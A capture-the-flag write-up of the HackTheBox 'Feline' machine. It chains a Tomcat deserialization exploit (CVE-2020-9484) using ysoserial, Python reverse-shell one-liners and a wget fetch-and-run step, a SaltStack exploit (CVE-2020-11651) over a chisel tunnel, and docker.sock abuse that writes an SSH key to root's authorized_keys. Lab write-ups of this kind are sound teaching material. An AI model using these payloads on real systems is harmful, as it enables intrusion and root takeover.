Feline | HackTheBox Write Up


  • Using Java Deserialization in Apache Tomcat (CVE-2020–9484) to get a reverse shell on the box
  • Exploiting Vulnerability in SaltStack(CVE-2020–11651) leading to code execution which gave us a shell on docker container
  • Using docker.sock socket to create a new docker container with root file system mounted and writing our public key on root’s authorized_keys file

Port Scan

$:~ nmap -sC -sV -oN nmap/initial -v
Nmap scan report for
Host is up (0.099s latency).
Not shown: 998 closed ports
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.27
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looking at the results, we only have two ports open. As ssh does not have that much of an attack surface, Let’s see the http service running on port 8080.

HTTP (PORT 8080)

On /service

This is a good sign. We are able to upload file with any extension without even authenticating. If we can know where these files are being uploaded, we can upload a php reverse shell and browse it from the browser which will lead to code execution.

So while running gobuster on the background, I went to play with this file uploading functionality. As they said they support any file, I tried uploading files with multiple extensions and size and analysed in Burp suite.

Uploading a simple shell.php

It gets uploaded, but we don’t know where the file is being stored on the server.

Uploading linpeas.sh

Uploading linpeas triggered an error, which is revealing the path on the server. There might be a mechanism that the server changes the name of the uploaded files.

So I searched the first line of the error to find out what might be causing this error and I found this post explaining that this error is triggered if the max upload size is exceeded by the uploaded file.

Uploading a file with empty name

With empty filename, it tried to write a file in a directory which throws another exception revealing the actual place in the server where uploaded files are stored.

Now while searching for vulnerabilities on the Apache Tomat related to file uploading functionality, I came across this article which explains how we can achieve remote code execution by deserialization. But there were some prerequisites for an Apache Tomcat to be exploitable.


We knew we can upload file and have control over the filename and the location it is being uploaded to.

Java Deserialization was not my strong suit as I had very less knowledge on the topic. But I thought to give this exploit a try.

For this exploit to work, first we have to generate a serialized object with our payload using ysoserial. Then we have to upload this file, naming it something that ends on .session. And to trigger the code execution, we have to request a page, with our cookie JSESSIONID’s value changed to ../../../../../../../path/filename

For the payload generation with ysoserial, I tried multiple gadgets and CommonsCollection2 seem to work.

$:~ java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'ping -c 1' > ping.session

Listening on our box

$:~ sudo tcpdump -i tun0 icmp

Uploading file

Triggering the code execution

We got an response with code 500 which is a good sign cause that’s what the blog post said.

And looking at the result of tcpdump, we got the response back.

Now we know that we have code execution, lets try and get a reverse shell. As I was having problem with one liner reverse shell code, I used wget to fetch the script with code for our reverse shell and another payload to execute that script.

Content of shell.sh

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

For reliability, I have used multiple payload using python2 and python3.

Creating payload with ysoserial

$:~ java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'wget -O /dev/shm/shell.sh' > payload.session

Uploading the file

Starting python HTTP server on our local box

$:~ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ...

Triggering the payload

On python http server, we get a hit.

$:~ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [04/Sep/2020 11:41:04] "GET /shell.sh HTTP/1.1" 200

Creating another payload

$:~ java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'bash /dev/shm/shell.sh' > payload.session

Uploading the next payload to execute the reverse shell that we uploaded earlier

Listening on port 9003 on local box

$:~ nc -nvlp 9003
Listening on [] (family 2, port 9003)
Listening on 9003

Triggering the payload

Now we get a shell back.

$:~ nc -nvlp 9003
Listening on [] (family 2, port 9003)
Listening on 9003
Connection received on 55876
/bin/sh: 0: can't access tty; job control turned off
$ whoami

Now lets get a proper shell with auto completion.

$ python3 -c "import pty;pty.spawn('/bin/bash')"

Hit CRTL+z to background the current process and on local box type

$:~ stty raw -echo

and type fg and hit enter twice and on the reverse shell export the TERM as xterm.

tomcat@VirusBucket:/opt/tomcat$ export TERM=xterm

Now the shell looks good and we can read user.txt file.

Privilege Escalation

After I ran linpeas, I found of couple of interesting things.

Few extra ports listening on the local interface

tomcat@VirusBucket:/opt/tomcat$ ss -lta
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096*
LISTEN 0 4096*
LISTEN 0 128*
LISTEN 0 4096*
LISTEN 0 4096*
LISTEN 0 4096*

And instance of a docker container

tomcat@VirusBucket:/opt/tomcat$ ifconfig docker0
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet netmask broadcast
inet6 fe80::42:7cff:fe88:fe82 prefixlen 64 scopeid 0x20<link>
ether 02:42:7c:88:fe:82 txqueuelen 0 (Ethernet)
RX packets 134722 bytes 5394356 (5.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 136282 bytes 10036941 (10.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Searching the ports that were open, I found Salt Stack often uses port 4505 and 4506.


Salt (sometimes referred to as SaltStack) is Python-based, open-source software for event-driven IT automation, remote task execution, and configuration management. It follows the client server architecture where the server called master can execute commands on the the clients (minions).

And with further research, I found a recent CVE on SaltStack and this proof of concept exploit in GitHub.

Lets us download the exploit on to our box.

$:~ git clone https://github.com/jasperla/CVE-2020-11651-poc

And also we need salt for this exploit to work. So let’s install that with pip3.

$:~ sudo pip3 install salt

And if we look at the arguments

This exploit connects to port 4506, but the port is only listening on the box’s local interface. So lets use Chisel for port forwarding. First lets download the binary of chisel on our local box and download it from the box using wget.

tomcat@VirusBucket:/dev/shm/.test$ wget
--2020-09-04 07:17:47--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 7364608 (7.0M) [application/octet-stream]
Saving to: ‘chisel’
chisel 100%[===================>] 7.02M 2.18MB/s in 3.2s2020-09-04 07:17:51 (2.18 MB/s) - ‘chisel’ saved [7364608/7364608]

On our local box

$:~ ./chisel server -p 1880 --reverse

On the server

$:~ ./chisel client R:4506:

Running the exploit and we get the ping back. COOL!!

Getting a reverse shell with the previous shell.sh script

And we get a shell as root but on a docker container.

Content on the home directory

root@2d24bf61767c:~# ls -la
total 28
drwx------ 1 root root 4096 Jun 30 12:45 .
drwxr-xr-x 1 root root 4096 Jun 30 12:33 ..
-rw------- 1 root root 1336 Jun 30 16:12 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 2 root root 4096 May 3 22:21 .ssh
-rw-r--r-- 1 root root 137 Jun 30 12:41 todo.txt


root@2d24bf61767c:~# cat todo.txt 
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.


One interesting thing that I found on .bash_history file is the use of docker.sock socket to get the images of the docker containers.

And looking at /var/run/docker.sock, we can see it is present.

root@2d24bf61767c:~# ls -la /var/run/docker.sock 
srw-rw---- 1 root 118 0 Sep 4 07:12 /var/run/docker.sock

As docker.sock is the UNIX socket that Docker daemon is listening to and it the main entry point for Docker API, it is not so good practice to mount this socket inside docker containers. Now we could basically use curl request using the socket to create new containers on the host box.

I found this amazing post which shows how we can mount the root file system to a new container and also execute code on the created docker container, using the socket docker.sock.

Let us create a new docker container with the same image id that we are in and mount the root file system in the new created container.

Creating a new docker container

$:~ curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localh/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"188a2704d8b0","HostConfig":{"Binds": ["/:/var/tmp"]},
"sh", "-c", "echo my_pub_key >> /var/tmp/root/.ssh/authorized_keys"

So, I will try to create a new container and write the authorized_keys file with my public key.

Generating private/public key pairs on my local box

$:~ ssh-keygen -f id_rsa

Creating a docker container with commands to write /root/.ssh/authorized_keys file when the container starts

root@2d24bf61767c:~# curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":
true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"188a2704d8b0","HostConfig":{"Binds": ["/:/var/tmp"]},
, "-c", "while true;do echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeB05i2a3qY8t9hMgkH4R5+s/LFhK30xGhIjPm914tqUG1B2NqPTA5zlpG2YeT0v5yty039FfEA1JvvHzsx+PZgcgZXjvBxORkjti03PrE7RU4BInajtZVTIvup1QGG33KjeVuU55YyA2u2uNwELW1oeNKs1PVekcYJxBygIhHniQ5OJS0Tv2tIfxz80K1DymnlYSQWdSEYN+xUvGwxMCdltF5FEPUpDarK1a252QOLjckzft+vcT2F3GBOAC5wTmIdu6I8r5TSyuazbZAlcNxJfs6xsFRuf9wI40cbg53bCP9eL9EMt7taXKAHz1+DytZh4HpVptLrz2blDQU+sIDwOjaVSlTMyyroHMTdzVyNFbMLw1xZF+1oQkPVeiDe1ECWgE7+SWLiOBu8yn2xXPkstOM2ZB2Qy8sGnLNWGhmvcgDuvmmahppUhh+bJvfPtoIwAxtdST2geGZ4+9girh3hJEn9cZMkdo4s2Et9smWgpFAJpispoNSEs= >>
/var/tmp/root/.ssh/authorized_keys;sleep 10; done"

Starting the docker instance that we just created using the ID given above

root@2d24bf61767c:~# curl -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/808e1ab8dfe7d7934dd705b6644f16a4fe6c02dfc18e6bf603d43368a29a3469/start

And now with the private key that we have on our box, let’s try to login to the box as root using ssh.

$ ssh -i id_rsa root@

And it worked. Now we are root on the box. AWESOME!!!

Reading root.txt

And clearing the mess that we had created earlier

root@VirusBucket:~# vi .ssh/authorized_keys 
root@VirusBucket:~# cd .ssh
root@VirusBucket:~/.ssh# cat authorized_keys | wc -l

I would like to thank you for reading my write up till the end. Give a clap if you liked and learned something from my write up. Reply if you think, I could have done few things differently.

And I would like to thank the creators of this wonderful box as I learned a lot of new things while solving this box.




Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Arithmetic Exception in Java

National Coding Week and what it means to us

Boost Productivity with Rust

SIGNAL 2017 Review

Kruskal’s Algorithm

OverTheWire Bandit Challenges Writeups (From Level21→22 to 32→33)

Three Quick Tips on Learning to Code: or How I Got Hired Before Leaving Bootcamp With No CS Degree

Why should you treat infrastructure like software?

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Shishir Subedi

Shishir Subedi

More from Medium

A2P 10DLC — What You Need to Know

How to Display Customer Trip Route on Google Maps — Flipper Code

Loop in Postman

Versioning comic scripts using Fountain and GitHub

A web architecture diagram which is explained below.